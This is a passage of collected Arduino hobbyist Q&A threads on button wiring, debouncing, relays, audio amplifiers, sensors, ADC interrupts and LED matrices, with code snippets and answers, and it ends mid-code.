Button circuit draws all power away from LEDs I'm very new to Arduino, so please forgive me if I don't know the proper terms for things.

Whenever I press the button on the board, the LEDs all shut off.

I can't host the image files on imgur, and I don't know how well Flikr will work with it.

Now:

The resistors being used are 220 ohm resistors for the LEDs. The one for the button is a 10k ohm resistor.

This also happens without a resistor in place. I tried simply replacing the button with a wire from the positive to a row, with a wire leading from there to another row, back to ground.

What do I do to fix this?

Edit: Sorry about the images being extremely low quality, they've been updated.

Here's the code, but it's mostly irrelevant:

//DEFINE STUFF BABYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
int ButtonState2 = 0;
int ButtonState1 = 0;
int ButtonState0 = 0;
const int ButtonPin2 = 2;
const int ButtonPin1 = 1;
const int ButtonPin0 = 0;

void setup() {
  // put your setup code here, to run once:
  Serial.begin(9600);
  pinMode(13, OUTPUT);
  pinMode(12, OUTPUT);
  pinMode(11, OUTPUT);
  pinMode(10, OUTPUT);
  pinMode(9, OUTPUT);
  pinMode(8, OUTPUT);
  pinMode(7, OUTPUT);
  pinMode(6, OUTPUT);
  pinMode(5, OUTPUT);
  pinMode(4, OUTPUT);
  pinMode(3, OUTPUT);
  digitalWrite(13, LOW);
  digitalWrite(12, LOW);
  digitalWrite(11, LOW);
  digitalWrite(10, LOW);
  digitalWrite(9, LOW);
  digitalWrite(8, LOW);
  digitalWrite(7, LOW);
  digitalWrite(6, LOW);
  digitalWrite(5, LOW);
  digitalWrite(4, LOW);
  digitalWrite(3, LOW);
  pinMode(ButtonPin2, INPUT);
  pinMode(ButtonPin1, INPUT);
  pinMode(ButtonPin0, INPUT);
  Serial.print(78);
}

void loop() {
  // put your main code here, to run repeatedly:
  ButtonState2 = digitalRead(ButtonPin2);
  ButtonState1 = digitalRead(ButtonPin1);
  ButtonState0 = digitalRead(ButtonPin0);
  if (ButtonState2 == HIGH){
    digitalWrite(13, HIGH);
    }
    else{
      digitalWrite(13, LOW);
      }
}

As per your statement, wire from the positive to a row, with a wire leading from there to another row, back to ground.

That describes a short circuit between V+ and ground.

Remove either the ground wire or the positive wire.


Why doesn't this debounce function work? Edit 2
I made a function that works, but I'm still confused about just one thing...

I'm very confused about how variables work in C++.

In this program...

  boolean debounce(void)
{
  static boolean buttonState=LOW;
  static boolean lastButtonState;
  boolean currentState = digitalRead(4);
  static unsigned long lastDebounceTime;
  if (currentState != lastButtonState){ //if the button state has changed
    lastDebounceTime=millis();  //reset timer
    }

  if ((millis()-lastDebounceTime) > 50)  //if 50 milliseconds has passed since last bounce
  {
    buttonState = currentState;  //read value again now that bouncing is over

    }
  lastButtonState = currentState;
  return buttonState;
}

Why does changing this

lastButtonState = currentState;

To this

lastButtonState = buttonState;

Make any difference in the program?

When I try the latter line of code, the whole function stops working and I don't understand why.

This probably won't answer your question completely, but here are some notes from me:

buttonState = current ;  //read value again now that bouncing is over

This won't read the value again, it just copies current into buttonValue.

What you wanted is:

buttonState = digitalRead(BUTTON); // read value again now that bouncing is over

You have multiple issues with your debounce call:

lastTimeDebounce is never used by your code, so it is always zero.
lastButtonState will be always buttonVal making the debounce function useless.

Some other tips:

Don't use the same names for parameters as for global variables:

boolean debounce(boolean lastButton, long lastDebounce, int BUTTON)

The global variable BUTTON will be shadowed by int BUTTON, essentially overriding it.
Don't use global variables (unless you have a very good reason)

EDIT

I would strongly recommend writing a function that debounces only one pin.

Because if you want a function which can debounce any pin you would need a state variable for each pin (which needs arrays hence a lot of space).

EDIT2:

Here is a debounce function that should work:

const uint8_t PIN = 13;

/*
 * Returns debounced value for `PIN`
 */
boolean debounce(void)
{
    // Current state of the pin
    boolean currentState;
    // Last state of the pin, initial value is zero
    static boolean lastCurrentState = 0;
    // Timer
    static unsigned long debounceTimer = millis();
    // Debounced value, initial value is zero
    static boolean debouncedValue = 0;

    // We first read the current state of the pin
    currentState = digitalRead(PIN);

    // Then we look if the state has changed
    if (currentState != lastCurrentState) {
        // If it has, we need to reset the debounce timer
        debounceTimer = millis();
    }

    // Then we check if the timer has expired
    if ((millis() - 50) > debounceTimer) {
        // The timer expired so we update the value
        debouncedValue = currentState;
    }

    // Save the latest state
    lastCurrentState = currentState;

    // We always return a debounced value:
    return debouncedValue;
}

But always test such things with an oscilloscope, no guarantee. FYI: this is not an ideal debounce function, but it should make the idea clear.


Why isn't this pushbutton program working? Here is my circuit:

and here is my code:

int LED = 13;
int BTN = 7;

void setup() {
pinMode(LED,OUTPUT);
pinMode(BTN,INPUT);
}
void loop() {
if(digitalRead(BTN) == HIGH) {
digitalWrite(LED,LOW);
}
else{
digitalWrite(LED,HIGH);
}
}

When I press the button, the LED is supposed to go low, but it doesn't. What is wrong with this circuit/code?

Your code and schematic both seem to be wrong.

Try out this schematic:

And then code:

const int kPinLed = 6; // LED - Pin 6
const int kPinBtn = 7; // Push Button - Pin 7

void setup()
{
  pinMode(kPinLed, OUTPUT);       // LED as OUTPUT
  pinMode(kPinBtn, INPUT_PULLUP); // Push Button as INPUT wiith pullup
}

void loop()
{
  if(digitalRead(kPinBtn) == LOW)  // When Push Button is pressed
  {
    digitalWrite(kPinLed, HIGH);   // LED ON
  }
  else digitalWrite(kPinLed, LOW); // LED OFF
}


Nodemcu is connected to 5v relay with logic converter but still not working I am using a bi-directional 3.3-5V logic converter to control 5V relay with 3.3V D5 pin of nodemcu. link of logic  converter is here

However, I expected to control the relay but it didn't work. I don't think there is a problem with electrical connection or code since that is simple.

3.3V sides of nodemcu is connected to LV and 5V side of Relay is connected to HV.

Code:-

void setup() {
  // put your setup code here, to run once:
pinMode(D5, OUTPUT);
}

void loop() {
  // put your main code here, to run repeatedly:
digitalWrite(D5, HIGH);
delay(2000);
digitalWrite(D5, LOW);
delay(2000);
}

My Observations:-
1) When relay is removed, multimeter shows 3.3V at the LV & HV side. (so logic converter is not working i guess)
2) When relay  is  connected, multimeter shows 2.5V on  both sides.

Everything is powered from nodemcu pins. Does  it means that i have to supply extenal power or something wrong with logic converter?[![enter image description here][2]][2]

What do you guys think?

PS  - I  soldered the pins another way around on logic converter. Does it change anything?

circuit image, nodemcu is powered by the laptop USB

To make that work you'd need to connect the HV connection to the Vin of the NodeMCU (as well as to the relay board) which should be the 5 V coming form the USB port. You'd also need to connect the GND on the HV side to the GND of the NodeMCU.


LM386 module not working I have arduino UNO hooked up with wtv020-sd-16p and it works fine, playing audio files - speaker is connected right to the WTV020's pin #4 and #5. However, volume is rather low. So I have ordered LM386 amplifier module. I have wired it's IN pin with WTV020's pin #2 AUDIO-L. But no sound comes out of speaker. I can hear only some scratches from the speaker while arduino is running.

LM386 is pretty easy, only VCC, IN and GND pins, so there is nothing much to screw up. I am wondering, what could be the problem ?

Thanks for any help or hints in advance.

EDIT: Only to note, when WTV020 is playing sound, speaker goes completely mute. When it doesn't play sound, little scratchy sounds can be heard from speaker. Maybe it could help with analysis ?

when WTV020 is playing sound, speaker goes completely mute. When it doesn't play sound, little scratchy sounds can be heard from speaker. Maybe it could help with analysis

Indeed - what you are describing sounds like the DC component of the Arduino's output is outside the workable range of the amplifier, effectively cutting it off.  When there is no output, the voltage is within range and little bits of noise are able to be amplified.

You should be able to fix the cutoff problem with a series capacitor to block the DC component of the input, allowing only the AC signal through - a common technique for coupling between stages in Audio and RF systems.

The value of the capacitor will depend on the impedance of the circuit it is driving.  A bare input to many chips could use a quite small value, while a circuit with feedback or a voltage-divider volume control might require a larger or carefully chosen one.


Electronics Laboratory I would like to know if someone could explain to me how to create an arduino electronics laboratory with soldering iron etc. with a low budget <3

There won't be a really complete list, since there are many many tools, that one could use for an electronics/Arduino laboratory. Also low budget is relative, so you might wanna choose out of the below list based on your real budget and the actual price of the parts at your place. Also consider, that many tools can be bought very cheap, but these tools are often bad, which means, that you most likely will buy a better replacement product later (buying cheap means buying twice). Still a low budget can absolutely justify buying cheap at first (some bad tools is better than no tool).
Note: I will use Euro as currency here (as I'm from Germany), which can about be used interchangeably for US Dollar. Your mileage may vary.

Breadboards: For working with Arduinos you wanna first build your circuits on a breadboard for testing. You should at least get one. I've seen 3-Packs of breadboards on platforms like amazon for about 12€.

Jumper-Wires (male-male/male-female): These wires with attached dupont jacks will make it easier to prototype on breadboards.

Colored Wire spools: I have a few spools with 4 different colors of 0.2mm² wire. You can use these for your PCBs and for breadboards. The different colors help to color code your wires for better overview. They cost a few € each.

Multimeter: A simple multimeter, that can measure voltage, current and resistance and in best case has a continuity check mode. This is a very important base tool for all electronics. I think most multimeters from 15€ up would be ok.

Pliers and Wire cutter: These are good for pressing and for cutting things. If you train a bit, you can even use the wire cutter for removing the isolation at the end of your wires. Technically a proper wire stripper is better, but I think using a wire cutter for the low budget start is totally ok. A wire cutter can go as cheap as 10-15€ for a decent one.

Soldering iron: Don't buy one of these soldering irons, that go directly into the mains. Buy a little soldering station with basic temperature control and integrated holder and a sponge for cleaning the tip. It should also have the possibility to change the tip (when you need a smaller/bigger tip or when your tip is no good anymore). A few years ago I got one of these for about 15€. Going a bit higher will benefit you with a better solder station.

Solder wire: You need to buy the actual solder. You should buy a spool of solder wire with integrated flux. Though most little spools have that. Depending on the exact solder wire it can be useful to also buy some flux (I'm currently using a flux pen), if the solder isn't flowing good enough.

Third hand with magnifying glass: When soldering it is sometimes helpful, when you can put a part into a clamp (like the third hand) and then use your hands for soldering iron and solder wire. The magnifying glass (which is also hold by the third hand) can help with small parts and inspection of your soldering work. It often costs only a few €, but getting up a bit can give you better durability and stability.

Perfboard: To build PCBs yourself you can most easily use perfboards. That are simple boards with solder pads for through-hole components. You can solder the components to the and then connect the pads via solder/wires. These are available with each pad not connected to anything else, or already connected like on a breadboard (I use these ones, like in this answer), or in stripes,... Building better PCBs would involve a more complicated process with chemicals or sending the PCB files to a manufacturer.

Heat shrink tubing/sleeves for wires and cables: To isolate wires, you might want to get correspondingly sizes heat shrink tube. They slide onto the to-isolate place and then get heated with a heat gun or a lighter. They shrink down and so enclose the part for isolation.

Oscilloscope: This is normally one of the most expensive tools. A decent oscilloscope can cost 250€ and up (into infinity). But you can sometimes get the big old oscilloscopes second hand (for example from ebay) as others upgrade to a digital oscilloscope. Or you can buy an USB oscilloscope, which works with your PC. I got one of these for about 50€. Or there are simple kits for standalone oscilloscopes (with limited capabilities) for 35€ and up. An oscilloscope is important for analyzing analog signals.

Logic Analyser: This is used to analyze digital signals. Standalone logic analyzers are expensive, but you can get a USB version for about 10€. The opensource software sigrok can then be used to interface the logic analyser. This tools is really really useful in relation to its low price. For example: You can use it as debug tools by setting pins inside your code at special places. That gives a better view on the temporal code flow than the typical Serial output.

Hot glue gun: Seems pretty basic, but I really often use my hot glue gun. You can fix things, protect them, build a supporting structure,... They only cost a few € plus a few for the glue sticks.

Scalpel and box cutter: Cutting things is also important and these two are good at it. They only cost a few € and have interchangeable blades. Especially a fresh scalpel blade can make the cutting of light materials really smooth.

That's about, what I can think of currently.


compiler says I have to declare my hexidacimal I try to compare #include <IRremote.h>

int RECV_PIN = 11; // IR Receiver - Arduino Pin Number 11
IRrecv irrecv(RECV_PIN);
decode_results results;

int led = 12;

void setup() {
  pinMode(led, OUTPUT);
  digitalWrite(led, LOW);
  Serial.begin(9600);
  irrecv.enableIRIn(); // Start the receiver
}

void loop() {
  if(irrecv.decode(&results)) //this checks to see if a code has been received
{
    if(results.value == FF6897) //if the button press equals the hex value FF6897
    {
        digitalWrite(led, HIGH);   // turn the LED on (HIGH is the voltage level)
        delay(1000);               // wait for a second
        digitalWrite(led, LOW);    // turn the LED off by making the voltage LOW
        delay(1000);               // wait for a second//do something useful here
    }
    irrecv.resume(); //receive the next value
}
  }

The issue is in the second if in the void loop the error I get is

  exit status 1 'FF6897' was not declared in this scope

why does he do this? Why doesnt it just accept my IRcode for comparison.

Nothing here that hasn't been covered in comments already but just putting it in the form of an answer to save digging...

How is the compiler supposed to know that a number is hex rather than decimal?

Sure 1234beef is obviously hex but what about 12345678? Is that hex or decimal?

You need some method for the compiler to know.

You also need some way for the compiler to know if something is a number or a variable. Take the code if (x == deadbeef) {...} is deadbeef a hex number or a variable name?

C uses a very simple convention. If it starts with a number it's a number, if it starts with a letter it's a variable. This is why variable names can contain numbers but can't start with them.

If an integer starts with an 0 e.g. 0123 then it's in octal.
If an integer starts with 0x e.g. 0x123 then it's in hex.
If an integer starts with something other than a 0 e.g. 123 then its in decimal.

e.g.

printf("123 = %d\r\n0x123 = %d\r\n0123 = %d\r\n", 123 , 0x123 , 0123);

returns

123 = 123
0x123 = 291
0123 = 83

This convention, especially the 0x prefix for hexadecimal, is very widely used in other programming languages.


Distance sensor - Not working on fabric surface I am using ultrasonic HC-SO04, not giving reading on fabric. I lost many hours on testing my obstacle avoidance robot car in front of my sofa, every time it hits hard but works fine on other hard surfaces. Is there any other distance sensor which can detect soft objects like fabric from long or short distance?

Also looking any other accurate long distance cheap sensor which can work easily with Arduino. Please let me know.  Thanks

There are three types of commercially viable sensors for small scale projects:

Ultrasonic sensors(HC-SO04 and similar): These sensors use ultrasound much like a submarine uses its sonar to locate things by sending out a sound wave(trigger pin) and then measuring the time it takes for the sound wave to bounce back by reading the echo.There are two problems with this sensor. It needs a pretty solid object to bounce sound of thus walls are good but cloth absorbs the sound wave and the echo never bounces back. The second is you can encounter ghost echos when the sound wave strikes a corner and creates a echo for an object that is not really there. These sensors typically have a range of around 250cm to 600cm however some sensors can sense up to 7 meters away. Thus while it has good range it can not reliably detect all things and you might have false positives on it as well.
IR(Infrared) Sensors: These work like the ultrasonic ones but with light instead of sound. The sensor sends out a pulse/beam of IR light and measures the time it takes to reflect the light pulse/beam. This sensor is much faster than the ultrasonic ones but they have a much smaller range than ultrasonic sensors with a normal range of about 1.5 meters. While they work on most obstacles some might be missed due to the ability of some materials to absorb the IR light pulse thus there is no echo to measure.
LIDAR(Laser Range Sensors): There are various models of these but the principle is the same as the IR sensor. These can have massive range but they also come in at a massive prices. You can find cheaper ones around I saw a model for $80 that has a 40 meter range.


How do I convert Arduino to an ATmega328P-based project? Actually am new to this world and want to make embedded systems as my hobby kindly excuse me if it's a silly clarification,
Let me brief you about the question i asked, I have an Arduino board where I am using some of the peripherals like LCD with i2c.
Now I want to convert this Arduino-based circuit to atmega328p based circuit. i.e atmega328p with LCD and i2c
Here is my actual question, Can I use the same sketch(binary) that I have compiled and uploaded for the Arduino board for atmega328p also does it work? Or do I need to write atmega328p based c code all together.

A compiled sketch will run just fine on a bare ATmega328p, if all the necessary surrounding components are there, and if you have a way to program it.
This could be as simple as putting the chip on the Uno and programming it there. Don't do that too often; the socket isn't intended for that. You could get a 28-pin ZIF socket, though.
There are a few things to consider:

The bare chip needs external components like a crystal, etc. to function; you can check the Uno's schematic to see what you want to copy to your PCB/breadboard;
You may want to include a way to program the ATmega328p in-circuit using an ISP or a USB-to-serial chip;
The pin numbers will be different, a minor annoyance;
Possibly things I forgot.

There is a how-to on the Arduino site, and also a description of how to build a "whole" Arduino on a breadboard.


What's the deal with Uno's pin 13 LED? (I have a Sparkfun RedBoard, but this question seems to apply to R3 Unos and Uno-compatible boards.) As I was building the first circuit in my SIK guidebook (add a resistor, LED, hook it up and make it blink from code), I noticed a blue LED on the board itself did everything that the circuit's LED did - blinking according to the programming.

Why is this LED here? What use cases is it for?

What kind of circuits will I have to adjust to account for this LED?

Is pin 13 traditionally a debug or a troubleshooting pin? Where did this convention come from?

The LED on pin 13 is used by the optiboot loader (the one used on UNO):

at Arduino boot time (the LED blinks a few times)
when uploading a sketch to Arduino

I haven't checked other bootloaders, they may provide the same behavior as the optiboot.

For optiboot, there are optional defines (at compile time) to modify this behavior:

LED_START_FLASHES defines the number of flashes of pin 13 LED at boot time (can be set to 0)
LED_DATA_FLASH will use pin 13 LED during sketch upload if defined at compile-time

These defines are explained in hardware/arduino/bootloaders/optiboot/optiboot.c from within your Arduino IDE install directory.

If you want to change these, you will have to recompile the optiboot loader first and then burn it to your Arduino through an ISP programmer.

I guess one other reason for the LED on pin 13 was to simplify the demonstration of the "Hello World" sketch for Arduino, namely the Blink sketch, without the need for any extra component.


How do I execute some code at a certain time without RTC module? I am building a project when I need my arduino to execute some code at two given hours of the day, for example one at 19:00 and another at 06:00. I know that with a RTC module I can do this easily, however how can I do that without a RTC module? I do not want to have to connect my arduino to a computer neither to the internet. It does not also have to be precise, a couple of minutes off would be ok.

My board is an Uno R3.

If you start with the "BlinkWithoutDelay" sketch that comes with the Arduino IDE, you can execute your code alternating between 11 hours and 13 hours.

// Power up the circuit at exactly 06:00.
unsigned long delayInterval = 0;
unsigned long previousMillis = 0;
bool twoHoursAdded = false;

void setup(){

}

void loop(){

  unsigned long currentMillis = millis();

  if(currentMillis - previousMillis >= delayInterval){

    // previousMillis = currentMillis;

    // Use this "method" of incrementing the previousMillis variable
    // instead of the code used in the BlinkWithoutDelay sketch.
    previousMillis += delayInterval;

    if(twoHoursAdded == false){
      delayInterval = 1000UL * 60UL * 60UL * 13UL;
      twoHoursAdded = true;
    }
    else{
      delayInterval = 1000UL * 60UL * 60UL * 11UL;
      twoHoursAdded = false;
    }

    // Your code here that is run at 06:00 and 19:00.

  }
}

"Down sides" to using this code.

If there is a "power failure", the timing will be off, WAY off until you reboot the Arduino at exactly the right time.
You have to power up the Arduino at exactly the right moment for "it's" timing to match your "clock" timing.

If it's within your budget, have a look at the DS3231 modules available on aliexpress.com / ebay.com. They have a lithium battery backup incase of power outage and are really easy to connect to your Arduino using I2C. There are several libraries on Github that simplify using the DS3231 modules.


How to work with WS2812B 16x16 matrix panel from aliexpress I'm completely new to Arduino, and I want to build the project using an LED 16x16 matrix, but I don't know where to start. On the internet, I keep finding these custom matrix panels and they aren't similar to mine. So I'm asking here. Does anyone have experience with this Arduino-compatible RGB LED matrix panel? This is the link to the Aliexpress product.

Will I need an additional power supply? What will I need to install to make it work? Where do i plug what wire into my arduino? Thanks for any answer!

It's just a string of WS2812B LEDs that have been "bent" into a grid. You treat it exactly like any other WS2812B strip of LEDs.
You have 256 LEDs, and as far as the Arduino is concerned, they are just in a line numbered 0-255.
The "grid" arrangement is solely down to you to you to calculate.  Fortunately 256, or 16x16, is very easy to work with: you have a byte which can represent any one of the LEDs, and each half of the byte (a nibble) is one coordinate.
The traditional calculation to convert X and Y into a linear number is:
num = x + y * width

where width is the number of LEDs in the X direction (16).  However since we're working with a width of 16 that can be optimized to use bit-shifting and bitwise operations:
num = x | (y << 4)

That is assuming LED 0 is on the left (either top or bottom) and LED 1 is one place to the right.
Will you need an external power supply for it? Yes, most certainly (and they even provide you with a dedicated power connection for it). 256 LEDs, if all are turned on full brightness at once, could consume up to about 15 amps (20mA per channel, three channels per LED, 256 LEDs).


Arduino Due: Interrupt-based ADC hangs processing I am trying to build an oscilloscope using an Arduino Due and an LCD. I have the LCD running perfectly and started working on using the ADC peripheral to sample signals. Here's what I have so far:

#define SAMPLE_BUFFER_SIZE 800
volatile int sample_buffer[SAMPLE_BUFFER_SIZE];
volatile bool sample_buffer_full = 0;
volatile int sample_buffer_idx = 0;

void adcm_init() {
    pmc_enable_periph_clk(ID_ADC); // To use peripheral, we must enable clock distributon to it
    adc_init(ADC, SystemCoreClock, ADC_FREQ_MAX, ADC_STARTUP_FAST); // initialize, set maximum posibble speed
    adc_disable_interrupt(ADC, 0xFFFFFFFF);
    adc_set_resolution(ADC, ADC_12_BITS);
    adc_configure_power_save(ADC, 0, 0); // Disable sleep
    adc_configure_timing(ADC, 0, ADC_SETTLING_TIME_3, 1); // Set timings - standard values
    adc_set_bias_current(ADC, 1); // Bias current - maximum performance over current consumption
    adc_stop_sequencer(ADC); // not using it
    adc_disable_tag(ADC); // it has to do with sequencer, not using it
    adc_disable_ts(ADC); // deisable temperature sensor
    adc_disable_channel_differential_input(ADC, ADC_CHANNEL_7);
    adc_configure_trigger(ADC, ADC_TRIG_SW, 1); // triggering from software, freerunning mode
    adc_disable_all_channel(ADC);
    adc_enable_channel(ADC, ADC_CHANNEL_7); // just one channel enabled
    adc_enable_interrupt(ADC, ADC_IER_DRDY);            // Data Ready Interrupt Enable
    NVIC_EnableIRQ(ADC_IRQn);
    adc_start(ADC);
}

void ADC_Handler(void)  {
    if (!sample_buffer_full) {

        if ((adc_get_status(ADC) & ADC_ISR_DRDY) == ADC_ISR_DRDY) {

            sample_buffer[sample_buffer_idx] = adc_get_latest_value(ADC);
            sample_buffer_idx++;

            if (sample_buffer_idx == SAMPLE_BUFFER_SIZE) {
                sample_buffer_full = 1;
                sample_buffer_idx = 0;
            }
        }
    }
}

void setup()
{
    adcm_init();
    Serial.begin(115200);
}

void loop() {
    Serial.print("Loop\n");
    if (sample_buffer_full) {
        for (int i = 0; i < SAMPLE_BUFFER_SIZE; i++) {
            Serial.print(sample_buffer[i]);
            Serial.print(" ");
        }
        Serial.print("\n");
        sample_buffer_full = 0;
    }
}

This was copied and slightly modified from somewhere on the internet (can't remember where, though). I have also studied the docs and this code seems to make perfect sense and it should work.

The idea is for the sampling to be interrupt-based. However, if I set the ADC to freerunning mode and enable interrupts, it just gives up and stops working.

What I mean by that is: on my serial monitor, after pressing reset, all I see are 2 lines saying "Loop" and it just stops there. Normally it should print "Loop" indefinitely, and also print ADC values from time to time.

If I disable interrupts, "Loop" is printed indefinitely, but of course no values are shown. If I disable free-running mode, "Loop" is printed and no values are shown unless the buffer size is 1, in which case the same value is printed over and over (as expected, in that case the interrupt runs only once, right at the beginning).

The CPU clock freq. is 84Mhz, I'm going for the fastest I can get out of the ADC, so a sample is taken (and an interrupt is fired) every 1Mhz. That means 84 clock cycles per interrupt. Don't know for sure if that is enough for the rest of the program to work, but my gut tells me that's not a problem. Besides, I tried with a lower ADC clock value and it still didn't work.

Any ideas? I'm really at a loss here...

In your interrupt handler, ADC_Handler(), you set sample_buffer_full when the buffer is full.  I don't see anywhere in the code where  sample_buffer_full ever gets reset (cleared) once it's been set.

While sample_buffer_full is set, it disables the body of the interrupt handler – ie, the handler's structure is

if (!sample_buffer_full) { ...body of handler... }

– and in particular, prevents adc_get_latest_value(ADC); from occurring.  The source code of adc_get_latest_value(); is like

uint32_t adc_get_latest_value(const Adc *p_adc) {
  return p_adc->ADC_LCDR;
}

which accesses the ADC data register.  According to section 43.6.4 Conversion Results on page 1322 of the data sheet, Atmel-11057-32-bit-Cortex-M3-Microcontroller-SAM3X-SAM3A_Datasheet.pdf,

  The channel EOC bit in the Status Register (ADC_SR) is set and the DRDY is set. In the case of a connected PDC channel, DRDY rising triggers a data transfer request. In any case, either EOC and DRDY can trigger an
  interrupt.

  Reading one of the ADC_CDR registers clears the corresponding EOC bit. Reading ADC_LCDR clears the DRDY bit and EOC bit corresponding to the last converted channel.

It appears to me that your code enables interrupts, fills a buffer, sets sample_buffer_full, then spins in ADC_Handler().  That is, repeatedly executes ADC_Handler() without clearing the EOC bit.

Note, for  oscilloscope applications with a Due, I suggest using DMA buffers instead of one interrupt per conversion.  See thread #137635, speed of analogRead, in forum.arduino.cc for DMA code to read one or two analog channels on a Due at one sample per microsecond.  Also see edaboard.com/thread283843 and forum.arduino.cc #186169

Edit note: Although sample_buffer_full does get reset, that reset happens after a time-consuming for-loop.  Whether it takes some hundreds of microseconds or a few milliseconds, the for-loop is enough of a delay that at least one more conversion and interrupt will occur before sample_buffer_full gets cleared.  One unhandled conversion is enough to lock up the interrupt handler.  Here are some alternative approaches to consider:

• Use a circular buffer, and never stop filling it.  This is ok if you are only interested in the most recent data, rather than a complete waveform record.

• Set or reset sample_buffer_full as now; and remove the initial if test from the handler.  Instead, put an if before sample_buffer_idx++;, to not increment if the buffer is full.

• Turn off ADC's freerun mode.  This is a reasonable thing to do when not taking data.

• Turn off ADC's interrupt when not taking data.  Also reasonable.

• Use multiple buffers.  Reasonable, but by itself doesn't avoid the problem.

• Read the latest value every time the handler executes [for example, say int datum = adc_get_latest_value(ADC); as the first statement in the handler] and then only store that value in certain cases.  An easy and effective way to avoid problem.


Running Multiple Languages on Arduino This is mostly a conceptual question. Is it possible to have two scripts running on an Arduino, where one is a Julia script, and one is a Python script or something like that?

Basically no, because you can't run either Julia or Python, let alone both together.

Bear in mind also what an Arduino is (what most of them are, anyway): a low (computational) power microprocessor with a tiny amount of RAM. No operating system, no multi-tasking. Not in the same league as, for example, a Raspberry Pi.


How to print stack trace and register dumps on arduino serial monitor? I want to debug my ESP32 module which is giving an exception using ESP32 exception decoder, but for that, I would need to have access to my stack trace to paste it. But currently, my arduino serial monitor does not print the stack trace. (as shown below)

But I would need stack trace to be printed, like in the below image to debug my exception. How can I print it on the serial monitor?

Got the required trace logs at the output. All I had to do was enable PSRAM in tools.


Lessons 2: Spaceship interface I'm just starting to discover Arduino. Currently, I've done 2 lessons from Arduino book and I have few questions about second circuit.

Why we need to add 10kOm resistors after wire to 2 pin?
Why we need to add resistors after LED?
And why 3, 5, 6, 9, 10, 11 pins with "wave" symbol?

Why we need to add 10kOm resistors after wire to 2 pin?

Due to some weird electronic properties, the state of the input to the Arduino is "undefined" when there is nothing connected. When the button isn't pressed down, it is neither connected to 5V or GND; it is left floating. When floating, the input isn't reliable.

To make sure that the input always has some sort of signal, we connect it to ground. However, there is a problem with directly connecting the input to ground. When you would push the button, you would create a short circuit by allowing current to flow directly from 5V to GND without any current limiting.

The solution is to add a resistor to limit the current between 5V and GND. When the button isn't pushed, the input is grounded to allow it to read LOW. When the button is pushed, the 5V rushes in and, since the 5V doesn't use a resistor, "the 5V is stronger," making the input HIGH.

  Why we need to add resistors after LED?

An overly simplified explanation: A LED will theoretically pull infinite power (as current) from your power source without a resistor. With too much power, the LED will be destroyed from heat.

Because the LED has some resistance, it will pull up to a finite amount of power, but that usually is much more than the LED can handle (and sometimes what the power supply can supply). We need a resistor there to ensure that the LED can only draw as much power as it can handle.

  And why 3, 5, 6, 9, 10, 11 pins with "wave" symbol?

If you look at an Arduino board, it will say DIGITAL (PWM~). That (PWM~) means that any pins with the "~" symbol are PWM pins... pins that can turn on and off their output very fast, in this case to create an illusion that the LED is dimming because the state changes faster than the human eye can detect.

  http://arduino.cc/en/uploads/Main/ArduinoUnoFront240.jpg

More explanation for PWM here: Arduino docs, an answer [of mine]


How to apply a programme to all values in a list simultaneously I'm attempting to turn on a set of LED's one at a time and then switch them all off at the same time, I am stuck however on turning them off at the same time.

That is my code:

int ledpins[] = {2,3,4,5,6,7,8,9}; //creates a list of the pins in use

void setup() {
  for (int i = 0; i < 8; i++){
    pinMode(ledpins[i], OUTPUT);  // iterates over the list led pins from the 0 pin to the pins before the eigth
  }
}

void loop() {
  for (int i = 0; i < 8; i++){
    digitalWrite(ledpins[i], HIGH); // turns all the pins of one at a time
  }

  delay(100); //when all on will wait 100 ms
  digitalWrite(ledpins[0,7], LOW); //turns off all the leds at once
  delay(100);
}

The annotations are for my own understanding.
I just need help turning all the LED's off at once which I dont know the command for.

You have already done it twice, why are you struggling the third time?

for (int i = 0; i < 8; i++){
  digitalWrite(ledpins[i], HIGH); // turns all the pins of one at a time
}

  // turns all the pins of one at a time

Except that it is happening so fast you can't see then doing it individually. So just do the same but set them to LOW:

for (int i = 0; i < 8; i++){
  digitalWrite(ledpins[i], LOW); // turns all the pins off one at a time
}

Now you might want to add a delay into the loop that turns them on so you can see them turn on individually instead of all at once:

for (int i = 0; i < 8; i++){
  digitalWrite(ledpins[i], HIGH); // turns all the pins of one at a time
  delay(50);
}


connection for hall sensor 4 pin and arduino nano I'm not from electronics background so I don't know what should be the connections. My Hall sensor has 4 pins(AO, GND, +, DO)

So, I have connected hall sensor pins to Arduino nano pins in this order(connection)

AO(Sensor) <-> A4(Arduino)   [Changed from A0 to A4]
DO(Sensor) <-> D4(Arduino)   [Changed from D0 to D4]
+(Sensor) <-> 5V(Arduino)
GND(Sensor) <-> GND (Arduino)

What should be pseudo code? So that if the magnet passes close to the sensor. Arduino should get the output & I'll blink the led on Arduino

This below is my code that I have written so far

int sensorPin = 4; // this is for sensor in analog pin 4
int buttonPin = 4; // we are looking for digital 4
int val;

bool flag = false;

void setup() {
  // put your setup code here, to run once:
  pinMode(buttonPin, INPUT); // defines digital pin 4 as input for LED
  Serial.begin(9600);
}

void loop() {
   int reading = analogRead(sensorPin);

   float voltage = reading * 5.0;
   voltage /= 1024.0;

  if(voltage > 3.0) {
   Serial.print(voltage); Serial.println("volts");
  }
   val = digitalRead(buttonPin);  // read data from digital Pin

   if(val == HIGH) // when the sensor detects a magnetic field
   {
      flag = !flag;
      if(flag){
         digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
      } else {                 // wait for a second
          digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
      }
      //delay(1000);                       // wait for a second
   }
   delay(100);
}

Expected output: It should turn On/Off the LED when voltage goes HIGH

Known issues: It works sometime. It doesn't work sometime. Also it works only when magnet is kept clone. Doesn't detect when I'm waving magnet close to the sensor

The board you have has two outputs - AO and DO (note, those are the letter O not the number zero - for output).

You can connect AO to any of the analog inputs on your board if you want to read a discrete analog value from the sensor.

You can connect DO to any of the digital inputs (or analog ones since they are also digital inputs) if you just want a simple "Something is there" signal.

The sensitivity of the "something is there" is controlled by the trimmer on the board.

The simplest way of doing what you want is to use DO and adjust the trimmer to suit. Then the sensor looks, to all intents and purposes, like a switch or a button (but you don't need the pull up / pull down resistor).  So you can leave AO disconnected.

Note that using D0 (zero) and D1 (one) on the Arduino is discouraged since they are connected to the USB interface and using them can affect your ability to upload sketches. It also means you cannot use any serial communication in your program.


Cycling through switch states I'm making a desk lamp out of 2x WS2811 strips (attached to the triple ports at top right of board below). The brightness of the strips is controlled by a potentiometer, and the colour by a switch. Each press of the switch cycles through red, blue and white:

Here's the code I've come up with:

#include <FastLED.h>

#define strip_pin     7
#define NUM_LEDS    15

CRGB leds[NUM_LEDS];
int distance;
int brightness;
